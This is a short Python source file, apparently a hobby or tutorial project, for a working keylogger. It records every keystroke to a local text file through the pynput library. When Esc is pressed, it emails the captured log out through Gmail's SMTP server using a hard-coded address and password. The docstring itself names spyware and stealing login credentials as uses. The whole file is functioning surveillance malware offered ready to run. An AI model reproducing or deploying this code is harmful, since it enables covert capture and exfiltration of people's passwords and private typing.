Basic

'''
Keyloggers are programs that capture your key strokes. They can be used to keep logs of everything you press
    on the keyboard and can be used for malicious purposes, i.e.: spyware, stealing login credentials.

Current keyloggers have lots of functionalities. They record and display the exact date and time of each keystroke,
    on which application the keystrokes were entered, easy-to-read logs, etc.

This program is simply a basic keylogger with limited functionality, which are to:
-> Capture and save your keystrokes to a "keylogger.txt" file
-> Send the contents of the file to your email (sender email is gmail with no two-factor authentication)

To run: Open the file in terminal and enter "python keylogger.py".
To escape: Press Esc key to exit the keylogger.

Modules used:
-> smtplib (pre-installed on Python)
-> ssl (pre-installed on Python)
-> pynput (requires installation with "pip install pynput")
'''

# Defines an SMTP client session object to send mail to any internet machine with an SMTP or ESMTP listener daemon
import smtplib
# Provides access to TLS/SSL encryption and peer authentication facilities for network sockets
import ssl
# Allows the control and monitoring of input devices (mouse and keyboard)
from pynput import keyboard

# Replace user@domain.com with your email id (everywhere)
sender_mail = "user@domain.com"
# prefer using your own email id for receiver's as well.
# Replace user@domain.com with your email id (everywhere)
receiver_mail = "user@domain.com"
password = "passcode"              # Enter your Password here
port = 587
message = """From: user@domain.com
To: user@domain.com                         
Subject: KeyLogs
Text: Keylogs 
"""


def write(text):
    with open("keylogger.txt", 'a') as f:
        f.write(text)
        f.close()


def on_key_press(Key):
    try:
        if (Key == keyboard.Key.enter):
            write("\n")
        else:
            write(Key.char)
    except AttributeError:
        if Key == keyboard.Key.backspace:
            write("\nBackspace Pressed\n")
        elif (Key == keyboard.Key.tab):
            write("\nTab Pressed\n")
        elif (Key == keyboard.Key.space):
            write(" ")
        else:
            temp = repr(Key)+" Pressed.\n"
            write(temp)
            print("\n{} Pressed\n".format(Key))


def on_key_release(Key):
    # This stops the Listener/Keylogger.
    # You can use any key you like by replacing "esc" with the key of your choice
    if (Key == keyboard.Key.esc):
        return False


with keyboard.Listener(on_press=on_key_press, on_release=on_key_release) as listener:
    listener.join()

with open("keylogger.txt", 'r') as f:
    temp = f.read()
    message = message + str(temp)
    f.close()

context = ssl.create_default_context()
server = smtplib.SMTP('smtp.gmail.com', port)
server.starttls()
server.login(sender_mail, password)
server.sendmail(sender_mail, receiver_mail, message)
print("Email Sent to ", sender_mail)
server.quit()